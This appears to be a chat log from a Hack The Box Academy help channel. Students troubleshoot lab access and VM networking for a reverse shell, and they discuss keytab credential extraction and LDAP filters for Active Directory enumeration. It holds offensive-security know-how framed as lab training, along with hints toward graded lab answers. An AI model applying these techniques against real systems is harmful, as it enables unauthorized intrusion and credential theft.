hi, i'm stuck in the linux fundamentals module in the "file descriptor and redirections" section and it's ask how many total packages are installed on the target system so I do the following command and i substract 1 to the first number but it doesn't worked

[fathom pendant]

because you're not ssh to the target

and 2 the proper command would be wc -l

all of the questions are to be answered by ssh into the target "Click here to spawn target!"

[dreamy yew]

Yes I am ssh to thé target

[fathom pendant]

no, you're not

you're on the pwnbox

[dreamy yew]

Mmh maybe I got disconnected and i didn't see it

[fathom pendant]

i see in your screenshot us-academy-[number] half visible

btw you don't need to cut that part out

[dreamy yew]

(sorry m'y english Is not perfect)

[fathom pendant]

either way

you aren't ssh to htb-student@target_ip

[dreamy yew]

Okay thanks you very much for your help, I try to learn linux and I'm not a pro so I didn't noticed that I wasn't connected to the target, thanks you

And I have an other question, I can't ssh to the target with an other machin, it work only with the pwnbox, Is it normal ?

[fathom pendant]

you need to be connected to the VPN to connect with your own VM

as the IPs are on a private Subnet

[dreamy yew]

Thanks you for helping

[loud dagger]

update: i can get a reverse shell but only on my host machine?? it works on my debian install but not my kali vm??? ???????

[fathom pendant]

are you running the vpn on your host machine?

[loud dagger]

no

[fathom pendant]

that is odd then, are you using NAT or bridged?

[loud dagger]

how do i find that out

[fathom pendant]

it's network settings of your VM software like VirtualBox or VMWare

[loud dagger]

o

i'll dig around for that

[fathom pendant]

but I doubt you can catch the shell on your host without it running the VPN

and not in your VM; are you sure you didn't run the VPN on your host by accident?

[loud dagger]

i mean like if i run the vpn and the browser with hackthebox on my host then it works, but the same configuration does not work on my vpn

[fathom pendant]

wdym "and the browser with hackthebox"

[loud dagger]

ignore that part

[fathom pendant]

like the in-browser VM?

[loud dagger]

nc works from my host machine but not the vm

[fathom pendant]

can your VM reach the internet?

[loud dagger]

yes

[fathom pendant]

did you turn off the VPN on your host when doing it in your VM?

[loud dagger]

yes

[fathom pendant]

otherwise you're either explaining things poorly; or should reach out to support

since this is really weird

[loud dagger]

ok hold on

[rustic sage]

Use a different reverse shell

[loud dagger]

no it's a problem with my vm

i tried like 7 reverse shells and none worked and all of them worked on my host machine

[rustic sage]

Oh ok

[fathom pendant]

sounds like your networking is messed up in your VM

[rustic sage]

Another reason why bare metal is better than VMs

¯_(ツ)_/¯

[loud dagger]

are you fucking kidding me

[fathom pendant]

not an issue between baremetal and VM

simply an issue between keyboard and chair

[loud dagger]

everyone here spent a fuckin month convincing me to switch from bare metal to vm

[fathom pendant]

ignore them

[loud dagger]

it's not a host issue

[fathom pendant]

VM is fine

[rustic sage]

See that's just dumb

[fathom pendant]

i use a VM; and i've had things work perfectly fine

[rustic sage]

Ye yeah...

[loud dagger]

marcie you were one of the people who convinced me to switch to vm

[fathom pendant]

I'm suspecting that there's some networking thing in the background messing with things

[fathom pendant]

yes i'm stating to ignore Candy because they're not helping your issue LMAO

[loud dagger]

ah ok yeah i'm gonna do that as well

[fathom pendant]

I suggest restarting your system completely

then trying again

something tells me there's a background process that got stuck

[loud dagger]

exact same command both times, works on host machine, does not work on vm

[fathom pendant]

I'm suspecting you still have the Host running openvpn

[loud dagger]

i don't

[fathom pendant]

just

restart your system; and set it up again

[loud dagger]

ok my vm is using NAT, i guess i can try changing it

going to try restarting although i'm pretty sure i've tried already

[fathom pendant]

do you have the listener even running to catch the shell?

[loud dagger]

look at the screenshots

i have the exact same setup in both screenshots

[fathom pendant]

nvm just saw it

[rustic sage]

When you execute the reverse shell, does the page keep loading or does it finish loading?

[fathom pendant]

the page should continuously try and load while it's running

[loud dagger]

when it works, it keeps loading, when it doesn't work, it stops loading

[rustic sage]

I mean if there's something wrong with your end the page should still keep loading

[fathom pendant]

this may seem stupid

but remove the site from your /etc/hosts and just use the IP

as that's the only difference tbh

[loud dagger]

yeah i actually just thought of that

pretty much at the same time as you said it

guess i'll try it

[rustic sage]

Also your VM is in NAT or Bridged right?

[loud dagger]

i just changed it to bridged

i also changed another network setting that i don't remember

[rustic sage]

This is stupid to ask but have you actually tried pinging the target through your VM?

[loud dagger]

yeah it works fine

amazingly, none of the five things i tried worked

as usual
i have an issue
i find a ton of different fixes for it online
none of them work

[rustic sage]

While executing the reverse shell, open Wireshark and monitor any traffic from tbr target to your VM and see if there's traffic actually coming

[fathom pendant]

https://tenor.com/view/works-on-my-machine-ryan-gosling-works-on-my-gif-24523830

try reinstalling the Kali VM (or install a new/fresh one) and see if it works then

if it does; there's an issue -- it could also be a weird firewall thing going on

[rustic sage]

I was about to say that

[fathom pendant]

i don't think Kali has a firewall running by default

but you never know

[rustic sage]

Also just try runner netcat lister as sudo

[loud dagger]

i have

i guess i'll fuck around with the firewall

[fathom pendant]

ufw should be disabled

[rustic sage]

Check if SELinux is on or not

I mean installed

[loud dagger]

completely disabling the firewall didn't work

am i just doomed to deal with this for the rest of my life? completely unfixable technical issues? constantly finding fixes and none of them ever working?

[rustic sage]

Did you monitor incoming traffic?

[loud dagger]

ok there is incoming traffic

that's a start i guess

[rustic sage]

Try re installing netcat?

[loud dagger]

have

i'm at a complete loss

[rustic sage]

Use metasploit to listen for the rev shell instead of netcat and see

[rustic sage]

Bruh just re install your VM at this point

[loud dagger]

i'm gonna lose so much shit

if reinstalling my vm doesn't work i am going to, without exaggeration, cancel my academy subscription and give up on cybersecurity entirely

[rustic sage]

[loud dagger]

because i've been dealing with the exact same shit for years
technical issues, 10 fixes online, 0 work
god does not want me to get a career in IT

i'm genuinely at a complete loss as to why this does not stop happening to me

[rustic sage]

It's not specifically to you lol chill...

[loud dagger]

i've never met anyone else with this problem

[rustic sage]

Errors are common... You just move forward finding ways to solve them

[loud dagger]

that's what i've been trying to say for the last 15 minutes
i DO NOT move forward finding ways to solve them, i literally never fucking solve them

[rustic sage]

But yeah since metasploit doesn't work I am 90% sure something is terribly fucked up with yoir VM

[loud dagger]

do you think i mean i'm the only person who gets technical issues?

[rustic sage]

Nah

[loud dagger]

i might reach out to htb staff tomorrow

[rustic sage]

Ok

[fathom pendant]

tbh if you get this frustrated, it's probably for the best ngl. you gotta be prepared to fight through the "it's so over"

to hit the "We're so back"

yeah metasploit not working means something is really wrong

[loud dagger]

i can't even remember the last time i hit the "we're so back"

[fathom pendant]

how long are you spending per day, out of curiosity

[loud dagger]

depends on the day

on work days, anywhere from 0-2ish hours

[fathom pendant]

on average

[loud dagger]

on days off closer to 12

[rustic sage]

Facts

[fathom pendant]

yeah then I get the frustration of the 2 hours you get that little bit of time to work on it and it doesn't work

[loud dagger]

it spent 12 hours not working last time i spent 12 hours on it

[fathom pendant]

but tbh I suggest taking a bit of a break from it, and coming back at a later time

[loud dagger]

i just now tried using pwnbox but i can't even figure out how to get it to work

[fathom pendant]

i.e. shelving it for a few days or a week. Let your brain mentally reset your frustration

[cloud urchin]

You do not have the exact same setup. One screenshot shows you connecting via hostname, the other is IP.

[loud dagger]

yeah we went over this, changing that didn't work

[rustic sage]

There are time where I've had to completely re install my entire system multiple times bc of errors I can't figure out. It might be skill issue but these sorts of stuff is extremely common in this field

[fathom pendant]

pwnbox is just an in-browser Parrot VM

[loud dagger]

yeah i know it just kept bugging out

[fathom pendant]

sounds like maybe a driver issue then on your end

if it's "bugging out"

as I've had no issues using it when i've needed to

[cloud urchin]

it's clearing a networking issue, so we would need to see how the vm's network is setup to assist. what hypervisor are you using?

[loud dagger]

virtualbox

[rustic sage]

Is ur host Linux?

[cloud urchin]

i have no experience setting that up since i use the superior vmware, but if you can show the network manager config we may be able to help.

[loud dagger]

this is a tomorrow me issue
i give up for the night

pwnbox is bugging out

[fathom pendant]

yes their host is linux

their prior screenshot shows this

[cloud urchin]

if your vm can reach the internet, it should be able to reach htb's servers. i wouldn't recommend bridge mode though, NAT is the way I connect.

[fathom pendant]

NAT can cause issues

[loud dagger]

well NAT and bridged both did not work

[cloud urchin]

i've only ever had issues with bridged

[loud dagger]

if i can fuckin get pwnbox to work at all then i'm going to try it on pwnbox and if it works on pwnbox then it's something horribly wrong with my vm

[fathom pendant]

well your host is having issues even using the Pwnbox

[rustic sage]

That probably is the issue 90%

[loud dagger]

pwnbox is bugging out on windows as well

[fathom pendant]

works fine on my machine

also define "Bugging out"

that's not really helpful

like not displaying properly, not doing what you think it should...

[rustic sage]

Just re install the VM. If that doesn't work, choose a different hyperviser like qemu and try again.

[cloud urchin]

vmware pro is now free.

[rustic sage]

I found that qemu works better on Linux hosts

[loud dagger]

y'all i am literally giving up

[fathom pendant]

but you gotta give your info to broadcom, so L

[cloud urchin]

vmware pretty much industry standard

[fathom pendant]

anyway

[cloud urchin]

everyone else trying to play catchup

[fathom pendant]

I was able to launch pwnbox on my system with no issues

[loud dagger]

this is happening on linux and windows

[cloud urchin]

looks like issues with your graphics card

[loud dagger]

i cba to make a screen recording

both graphics cards?

this is on two different machines

[rustic sage]

Nah

I've never used pwnbox so idk lol

[cloud urchin]

what browser are you using

ff, i see. that's what i use

[loud dagger]

yo this is the third time i'm saying now that i'm giving up for the night

[rustic sage]

Ok

[fathom pendant]

TBH it looks like it's trying to resize as if you're trying to open academy within the pwnbox

[loud dagger]

thank you all for the help

[rustic sage]

Like we're forcing you to do shit lmao

[loud dagger]

im going to try again tomorrow

[cloud urchin]

yeah, you're having pwnbox inception there

[loud dagger]

oh yeah that would do it

it's probably trying to open pwnbox in pwnbox

[cloud urchin]

you are logging into the pwnbox and then logging into htb and viewing the pwonbox again

[fathom pendant]

^

and whenever the pwnbox view screen is pulled it resizes the screen

[cloud urchin]

there's no reason to do that and it's probably causing issues

[fathom pendant]

and does so recursively as it's refreshing constantly

[loud dagger]

i can't figure out how to connect to remote host then because the one on academy on my host machine isn't working

[fathom pendant]

you can just browse academy on your host; then interact via pwnbox

[cloud urchin]

when using the pwnbox, you don't need to connect to the remote host with your computer. the pwnbox is already connected to htb's internal network and can reach the victim box you spawn.

[fathom pendant]

you don't/shouldn't be opening academy within pwnbox

[fathom pendant]

well it automatically connects to your selected vpn region* but same point really

[cloud urchin]

you don't connect to the vpn when using pwnbox, it's already connected as i mentioned

[loud dagger]

no like i can't figure out how to connect to the IP that academy gives me

it doesn't work

[cloud urchin]

you connect to the box you spawn through the pwnbox

not your host

[fathom pendant]

make sure you don't have any vpn processes open on your host

if you're using the pwnbox, don't run the VPN, and vice versa

[loud dagger]

so i spawn a box through the pwnbox and then i connect to it right?

[fathom pendant]

no

you spawn it through the academy page

as if you were just using your own vm

[loud dagger]

yeah that's the fucking thing i just said i was having a problem with

[fathom pendant]

just don't open academy with the pwnbox

[loud dagger]

it
doesn't
work

it will not connect

[fathom pendant]

then you're doing something wrong

[cloud urchin]

you spawn the target box. then you spawn the pwnbox and use it in another tab or something. just use the pwnbox directly, it can already connect to the victim box you spawn

[fathom pendant]

what do you mean "It will not connect"

[cloud urchin]

the pwnbox is already connected, you do not need to connect it to anything

[loud dagger]

holy shit dude it won't connect to the webpage

[cloud urchin]

you don't conect to the vpn with the pwnbox, it's already connected to the internal network.

[fathom pendant]

"It doesn't work" and "It will not connect" aren't really proper errors for us to help you

[loud dagger]

the webpage won't load

[rustic sage]

Wym?

[cloud urchin]

you literally showed us a video of you looking at the pwnbox

[fathom pendant]

ok so you mean the base webpage of the target won't load?

[loud dagger]

yes thank you

this is what i mean when i say i have nothing but unfixable technical difficulties

[fathom pendant]

they're fixable

you just need to have a better mental about it

[loud dagger]

tell that to the 20 ways i tried to fix my reverse shell issue

[cloud urchin]

they are fixable, but you're probably searching for the wrong thing

[fathom pendant]

they seem unfixable to you because you're not really explaining the issue well enough

[cloud urchin]

you cannot articulate your problem correctly, so you probably can't search for the correct solution

[fathom pendant]

this could just be that your VM is fucked

[rustic sage]

Lol

[fathom pendant]

since it worked in host, and metasploit wasn't working

you have to be willing to accept "Maybe I just need to reinstall" as a fix option

Let's take it at step 0; is your host connected to the VPN, if so -- kill the VPN process

[loud dagger]

okay ignore that it was an example

i'm going to try reinstalling tomorrow i was just giving an example

[fathom pendant]

good luck

[rustic sage]

Thats probably gonna fix everything trust

[cloud urchin]

reinstall isn't going to fix the network manager's configuration

[loud dagger]

look

[fathom pendant]

we're suspecting other issues since the fact that Metasploit wasn't even working

[fathom pendant]

https

[cloud urchin]

the pwnbox should work easily as long as you spawn the pwnbox and target ip, then just use the pwnbox in another tab or something. if you want your vm to work you'd need to configure the network manager correctly.

[loud dagger]

already tried

[fathom pendant]

that's the problem

you need to use http

[loud dagger]

tried that too

[fathom pendant]

the site isn't using https

[loud dagger]

never mind

[cloud urchin]

metasploit is a piece of trash sometimes and does require a reinstall sometimes.

[loud dagger]

i tried http, didn't work, tried https, didn't work, tried http, worked

[cloud urchin]

it began freezing up my whole vm and i had to reinstall

[fathom pendant]

you likely typoed for http the first time

it happens

[topaz fossil]

don't you need the port too? each spawn uses a different port

[fathom pendant]

no

[loud dagger]

no

[cloud urchin]

depends on the box

[loud dagger]

this one doesn't have a port

[fathom pendant]

not for targets that are using the 10.129.0.0/16 subnet

[topaz fossil]

ah. noted. i haven't gotten that far yet 😅

[fathom pendant]

only for ones that are using a public_ip:port

[fathom pendant]

if you're doing the CBBH path, you're likely not gonna run into many examples

as most of the web modules use docker containers with a public_ip:port

[loud dagger]

and it stopped working again

[fathom pendant]

https://tenor.com/view/stop-it-get-some-help-michael-jordan-gif-10891312

[topaz fossil]

i see. yeah, i just started CBBH. breezing through the first few modules at the moment. i only started HTB this week.

[fathom pendant]

I think you should just do what you said; and take a break

[cloud urchin]

we don't know what "it" is, nevertheless you sound frustrated and should probably take the night off as you said

[fathom pendant]

come back tomorrow with a rested mind

when you're repeatedly getting frustrated is a good sign you need a break

[loud dagger]

pwnbox

[topaz fossil]

very underrated advice. taking a break does wonders. seriously

[rustic sage]

And a positive mindset....

[cloud urchin]

I can provide help if you want, but you said you were done for the night

[fathom pendant]

fun fact, when working on a difficult problem -- researchers found that when participants were able to take breaks/weren't given a time pressure they were able to solve it faster

[fathom pendant]

I suggest making sure you understand the content; breezing through doesn't necessarily mean you understand what you did

taking notes to help make sure you understand what you're doing is helpful

[topaz fossil]

oh yes, i do understand it. 🙂 i'm not new to this. but never had any formal education (my technical background is something else). so i'm breezing through the parts that i'm already very familiar with

[loud dagger]

ok yeah the webpages on pwnbox literally just keep timing out and coming back tomorrow with a rested mind isn't going to fix that

[rustic sage]

Lmao

[loud dagger]

never mind my vm was eating my bandwidth for breakfast

[rustic sage]

I can't

[loud dagger]

okay i got a reverse shell on pwnbox which means there's something horribly wrong with my vm and on that note i am off for the night and i am going to come back tomorrow with a Positive Mindset now that i know where to start troubleshooting

thank you all for the help sorry for being an asshole

[rustic sage]

That's literally what we've been telling you for the past hour

[loud dagger]

yeah i know i just wanted to see if i could get a reverse shell on pwnbox before i got off for the night

[cloud urchin]

it's your network setup like i said

once the network manager is configured correctly i'm sure it'll work fine

[loud dagger]

the vbox network manager right

[cloud urchin]

i'm not familiar with virtualbox, but i can't imagine it doesn't have some kind of network manager

i use vmware pro

[loud dagger]

it does indeed have a network manager

[cloud urchin]

think about it this way: connectivity issue. it can only be a few things. 1) connectivity from your vm. 2) connectivity from your vm to your hypervisor. 3) hypervisor connection to your host. 4) your host's connection to the internet.

so if you have connectivity issues, it's one of those things. sounds like you have tried disabling firewall etc on your vm, so if you're confident it's not the vm, the next step to investigate is the hypervisor's setup.

that's where the network manager comes into play

https://www.virtualbox.org/manual/ch06.html

get some rest, if all else fails the pwnbox should work

[loud dagger]

i switched to bridged. and it worked. i got a reverse shell. all i had to do was switch to bridged. i could have sworn i already did that. but it worked.

[rustic sage]

Congrats 🎉 but i still recommend re installing your VM bc it seem to have issues

[uneven oracle]

Can’t download Nessus on Linux arm64
😒

[rustic sage]

what Process did you use to download?

[uneven oracle]

The Nessus website.
They don’t have the binaries for arm64.

[rustic sage]

The do

[uneven oracle]

I only saw amd64

[rustic sage]

https://www.tenable.com/downloads/nessus?loginAttempted=true

Drop down has arm64

[inner trellis]

I got ips of 2 hackers who compromised all my passwords on my google account

can someone help me

[uneven oracle]

Could you screenshot it?
I only see amd64

[uneven oracle]

Not sure what to do.
You’d probably have to contact google.

[fathom pendant]

contact google, change all your passwords

[inner trellis]

is there a way to do it all together not 1 by 1

[fathom pendant]

this isn't a hacker for hire server read #rules

no

[inner trellis]

not hiring anyone

[uneven oracle]

lol…

[fathom pendant]

that's the rough part of having your account compromised

[inner trellis]

i just need help on what to do

[fathom pendant]

change all your passwords

make sure that no other devices are still logged on

[inner trellis]

how can I check that

[rustic sage]

Nvm I thought I saw it lol. AARCH64 might work

[fathom pendant]

iirc if you change your google account password there's an option to "log out of all devices"

[fathom pendant]

Google it

[uneven oracle]

Doesn’t work.

[fathom pendant]

this isn't a support server

[rustic sage]

Did you try installing?

[uneven oracle]

Yes

[fathom pendant]

it seems the ubuntu AARCH64 is what people have used in the past

[rustic sage]

Yeah

[rustic sage]

Any errors?

[fathom pendant]

tbqh you don't need to install Nessus for the Vulnerability Scan module

the host they have for the practical portion has nessus installed, and pre-run scans

[uneven oracle]

I’m having a hard time getting through the Vulnerability Assessment module because I can’t download Nessus on my vm and it doesn’t seem to be installed on the pwnbox like they said.

[uneven oracle]

lol yes.

[fathom pendant]

it won't be on the pwnbox

it's on the target box at https://ip:nessusport

[uneven oracle]

Hmm I’ll try that…

[fathom pendant]

with the login info provided

[uneven oracle]

Should work with openvpn?

[fathom pendant]

yes

we can't help with a question you don't ask

[rustic sage]

Lol

[fathom pendant]

https://dontasktoask.com

[rustic sage]

Someone actually hosting a website to explain all that wow

[fathom pendant]

check the other links on that site

actually useful

[flat parrot]

Ok I'm in carlos crontab, I spot the sh script who use kinit to svc_workstations user, the script then execute smbclient to connect. the question says I need to auth via SSH, Im lost to obtain credentials of that svc_workstations.kt

[uneven oracle]

It’s not loading. Idk.

[fathom pendant]

are you connected to the vpn?

[fathom pendant]

there's a way to extract keytab info

read the section carefully

[uneven oracle]

Yes ma’am… see my tun0 ip up there in the corner?

[fathom pendant]

do you have the pwnbox running as well?

[flat parrot]

yes I used that tool in another question, but the file was .keytab, this is .kt is the same way?

[fathom pendant]

what do you think .kt is short for? 😉

[uneven oracle]

I can ssh into that ip, but this Nessus stuff ain’t workin.

[fathom pendant]

it should be

[uneven oracle]

No

[fathom pendant]

do you only have one VPN connection running

[fathom pendant]

i also suggest checking that file location for other notable files

not just what's referenced by the script

[uneven oracle]

I download it onto my Mac, but it says it’s takes a long time to run the scans.
There is supposed to be a “preloaded” Nessus to help answer the questions.

[uneven oracle]

Only one.

[fathom pendant]

reset the target and try connecting again

because it should be running on https

[uneven oracle]

Unless I’m doing something wrong… 🤷🏽‍♂️

[uneven oracle]

Ahhh… that mtu trick you taught me. 😊

Ifconfig tun0 mtu 1250 😉

[fathom pendant]

i didn't teach shit about MTU

lmao

[uneven oracle]

lol could have sworn that was you. It’s usually you helping me here lol.
Someone taught me that here.

[cloud urchin]

your picture shows 118 mins uptime. so it's been up 2 mins. for some modules you need to wait 3-5 mins for it to fully boot.

plus you never said what module so it's impossible to help

[normal sand]

Module: AD Enumeration & Attacks
Section: Living Off the Land

Can someone suggest a resource to construct LDAP filters? I'm having trouble with it.

[solar zodiac]

Hey guys! Was wondering if anyone could advise on the skills assessment for broken authentication. I'm using fuff to enumerate the users but even with a bunch of threads it is going ot take forever

[fathom pendant]

take a look at the example and how it's constructed, there's also the big breakdown of how it works

[solar zodiac]

not sure if its the intended path and was wondering if I could get some guidance

[normal sand]

I did go through it. The exact part I'm having trouble with is the third rule. How would I use it? Could you provide an example?

[fathom pendant]

wdym "third rule?"

[cloud urchin]

https://ldapwiki.com/wiki/
https://ldapwiki.com/wiki/Wiki.jsp?page=Active%20Directory%20RISK%20Related%20Searches
https://ldapwiki.com/wiki/Wiki.jsp?page=Active%20Directory%20Computer%20Related%20LDAP%20Query
https://ldapwiki.com/wiki/Wiki.jsp?page=Active%20Directory%20User%20Related%20Searches
https://ldapwiki.com/wiki/Wiki.jsp?page=Active%20Directory%20Group%20Related%20Searches

[normal sand]

Actually, the second and third rule, the matching rules.
1.2.840.113556.1.4.804 and 1.2.840.113556.1.4.1941

I don't know how to use them.

[cloud urchin]

what's the question

[normal sand]

Could someone provide an example?

[solar zodiac]

can I msg you? 🙂

[cloud urchin]

yeah

[solar zodiac]

thx 😄

[uneven oracle]

I figured it out.
You can add time to the machine. It wasn’t that.

[fathom pendant]

they're explained in just below them

[normal sand]

Yeah, I understood that, but how do I set multiple attributes? Do I just total the attributes?

[fathom pendant]

yes

like you would for chmod for setting a file permission in linux

[normal sand]

So if I wanted to see the attributes Login Script Will Execute and Account is Disabled, it'd be 3?

[fathom pendant]

yep

for the last question you'll likely have to do some googling to figure out all of what you need

[normal sand]

Noted

[fathom pendant]

or you can get a partial idea then look up a user the normal way

just think of the key bits of what it asks for

user; disabled; admin; description these are all different fields you need to query

as you see the LDAP doesn't show "admin"

for the OID search

so at most you'd need (&(1) (2) (3) (4))

ooh found a good github that's an LDAP cheatsheet @normal sand https://gist.github.com/jonlabelle/0f8ec20c2474084325a89bc5362008a7

[normal sand]

Thanks!

[fathom pendant]

it contains at least most (aside from description, but you might be able to guess that one)

[normal sand]

most what?

[fathom pendant]

most of what you'll need to answer the last question

idk if doing the query without the description will still show the description or not

[normal sand]

Okay, I'm gonna try it out now.

[fathom pendant]

just remember each part of the query is it's own thing in parenthesis (&(1)(2)(3))

[normal sand]

I got the flag.

[fathom pendant]

NIce

[normal sand]

I have one question though.

[fathom pendant]

I feel like that cheatsheet definitely demystifies a fair bit of it

[normal sand]

But I can't ask it here without revealing the query I used, so is it alright for me to DM you?

[normal sand]

For sure.

[fathom pendant]

i mean it's likely the query I used

[normal sand]

The thing is, I got 2 results.

I wasn't able to filter it down to just one, so I'm wondering if I'm missing something.

[fathom pendant]

well yes; one likely doesn't have a description set

they both match the rest of the criteria up to the description

[normal sand]

Both have a description set. One has the flag, and the other has the description || Key Distribution Center Service Account||

[fathom pendant]

ah!

then I know what your query may have been

you still got the answer, and that's what's important

[normal sand]

I thought I had filtered for ||person|| and ||user||

So I don't understand why that showed.

[fathom pendant]

did you use ObjectClass or ObjectCategory

[normal sand]

Both

[fathom pendant]

ObjectCategory will be better

and user would be correct

[normal sand]

For category I used ||person|| and for class I used ||user||.

[next bronze]

1.2.840.113556.1.4.804: A match is found if any bits from the attribute match the value. This rule is equivalent to a bitwise OR operator.
1.2.840.113556.1.4.1941: This rule is limited to filters that apply to the DN. This is a special "extended" match operator that walks the chain of ancestry in objects all the way to the root until it finds a match. basically use it for recursive search

[fathom pendant]

use user for category instead

[normal sand]

Just category or should I use it for class as well?

[fathom pendant]

just category

from the cheatsheet

[normal sand]

Still getting two results.

[fathom pendant]

then the query will just return 2 results

did you grab the -attr samaccountname description ?

[normal sand]

This rule is limited to filters that apply to the DN.
What's DN?

[fathom pendant]

Distinguished Name

iirc

[next bronze]

deeznuts yes Distinguished Name

[fathom pendant]

https://ldap.com/ldap-dns-and-rdns/

[normal sand]

I've understood your explanation for the first rule you mentioned. However, for the rule 1.2.840.113556.1.4.1941, you're saying it can only be applied to the DN attribute, but I don't get the recursive search thing? Isn't DN a unique attribute?

[fathom pendant]

well

you're recursively searching specific attributes

i.e. you only know the ou and dc of a uid so you might construct "uid=*,ou=Person,dc=example,dc=com"

[normal sand]

Alright, I think I vaguely get it 😅

[next bronze]

Yes so you filter using that DN as the filter and there's no ambiguity in the query. e.g:

This matching rule will find all groups that the user is a member of including nested groups

Get-ADGroup -Properties * -LDAPFilter '(member:1.2.840.113556.1.4.1941:=(CN=UserName,CN=Users,DC=YOURDOMAIN,DC=NET))'

[normal sand]

So... it's essentially a recursive search for a DN?

[fathom pendant]

yep

[normal sand]

LDAP queries are painful 😂

[fathom pendant]

that's why cheatsheets exist

[normal sand]

Having flashbacks to the Introduction to AD module 💀

[next bronze]

just write a bunch of premade queries and you can just paste the specific information in

but the chances that you'll need to write custom queires are petty low

[normal sand]

Noted

[normal sand]

I'm finally getting it

[normal sand]

Took me a min, this article gave me flashbacks and reminded me of the basics 🤣

[cloud urchin]

ldap is ez, chatgpt

[next bronze]

real

tbh yeah as long as you can understand what it spits out you're good

[normal sand]

I actually tried it earlier and it spouted some rubbish, prolly cuz my prompt wasn't good tho

[cloud urchin]

haha yeah. it can hallucinate too sometimes.

or just come up with a bad way to do your request when there's an easier cmdlet or something

[next bronze]

this is the funniest shit from chatgpt

[fathom pendant]

to follow up; the official walkthrough also shows 2 answers

[normal sand]

I haven't gotten to the concept yet, but I've had GPT spit out similar nonsense in the past 😂

[fathom pendant]

so; it is an intended thing to have 2 results